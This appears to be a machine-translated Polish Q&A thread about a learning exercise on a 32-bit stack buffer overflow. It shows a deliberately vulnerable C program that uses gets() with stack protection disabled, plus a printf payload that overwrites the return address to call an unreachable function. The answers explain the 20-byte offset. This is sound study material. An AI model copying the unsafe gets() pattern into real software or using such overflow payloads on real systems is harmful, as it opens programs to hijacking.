2013-03-12 29 views
11

Próbuję przejąć kontrolę nad przepełnieniem stosu. Po pierwsze, tutaj jest przykład kodu C skompilowany na x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c)Przepełnienie bufora pojawiło się, zanim się spodziewano.

#include "stdio.h" 

int CanNeverExecute() 
{ 
    printf("I can never execute\n"); 
    return(0); 
} 

void GetInput() 
{ 
    char buffer[8]; 

    gets(buffer); 
    puts(buffer); 
} 

int main() 
{ 
    GetInput(); 
    return(0); 
} 

Następnie debugger (smak intel): zrzut kodu asemblera dla funkcji GetInput:

0x08048455 <+0>: push ebp 
0x08048456 <+1>: mov ebp,esp 
0x08048458 <+3>: sub esp,0x28 
0x0804845b <+6>: lea eax,[ebp-0x10] 

Tutaj możemy zauważyć, że sub esp, 0x28 rezerwuje 40 bajtów dla zmiennej buforowej (prawy?). Funkcja CanNeverExecute znajduje się pod adresem 0x0804843c. Tak więc, aby uruchomić funkcję CanNeverExecute, muszę umieścić 40 bajtów w zmiennej buforowej, a następnie 8 bajtów dla zapisanego wskaźnika bazowego, a następnie 8 bajtów wskaźnika powrotu, który chcę zmienić.

Potrzebuję więc ciągu 48 znaków ASCII plus \x3c\x84\x04\x08 na końcu (adres funkcji CanNeverExecute). Tak jest w teorii. Ale w praktyce potrzebuję tylko 20 bajtów przed adresem wskaźnika powrotu:

~/hacktest $ printf "123456789\x3c\x84\x04\x08" | ./first 
123456789.. 
I can never execute 
Illegal instruction (core dumped) 

Dlaczego potrzebuje tylko 20 bajtów zamiast 48? Gdzie jest mój błąd?

Odpowiedz

2

Zażycie większej części dissassembly Zobaczysz:

08048445 <GetInput>: 
8048445: 55      push %ebp 
8048446: 89 e5     mov %esp,%ebp 
8048448: 83 ec 28    sub $0x28,%esp 
804844b: 8d 45 f0    lea -0x10(%ebp),%eax 
804844e: 89 04 24    mov %eax,(%esp) 
8048451: e8 9a fe ff ff   call 80482f0 <[email protected]> 
8048456: 8d 45 f0    lea -0x10(%ebp),%eax 
8048459: 89 04 24    mov %eax,(%esp) 
804845c: e8 9f fe ff ff   call 8048300 <[email protected]> 
8048461: c9      leave 
8048462: c3      ret 

EBP jest zapisane, esp zostanie przeniesiona do EBP, następnie 40 jest odejmowany od ESP (ramki stosu, jak napisałeś), ale wskaźnik do bufora jest przekazywana do uzyskania przez rejestr eax, a eax jest ładowany z ebp-0x10!

lea -0x10(%ebp),%eax 

więc trzeba tylko 20 bajtów do przepełnić bufor (16 + 4 zarezerwowane dla przechowywanego wskaźnika bazowego na systemie 32-bitowym)

9

Po pierwsze, twój zespół jest 32-bitowy. Zapisany EBP i adres zwrotny mają po 4 bajty.

Po drugie, zmienna buffer nie rozpoczyna się na szczycie stosu (ESP) - zaczyna się od ebp-0x10. Co jest 20 bajtów od adresu zwrotnego. 0x10 to 16 bajtów, a następnie 4 więcej dla zapisanego EBP.

Powiązane problemy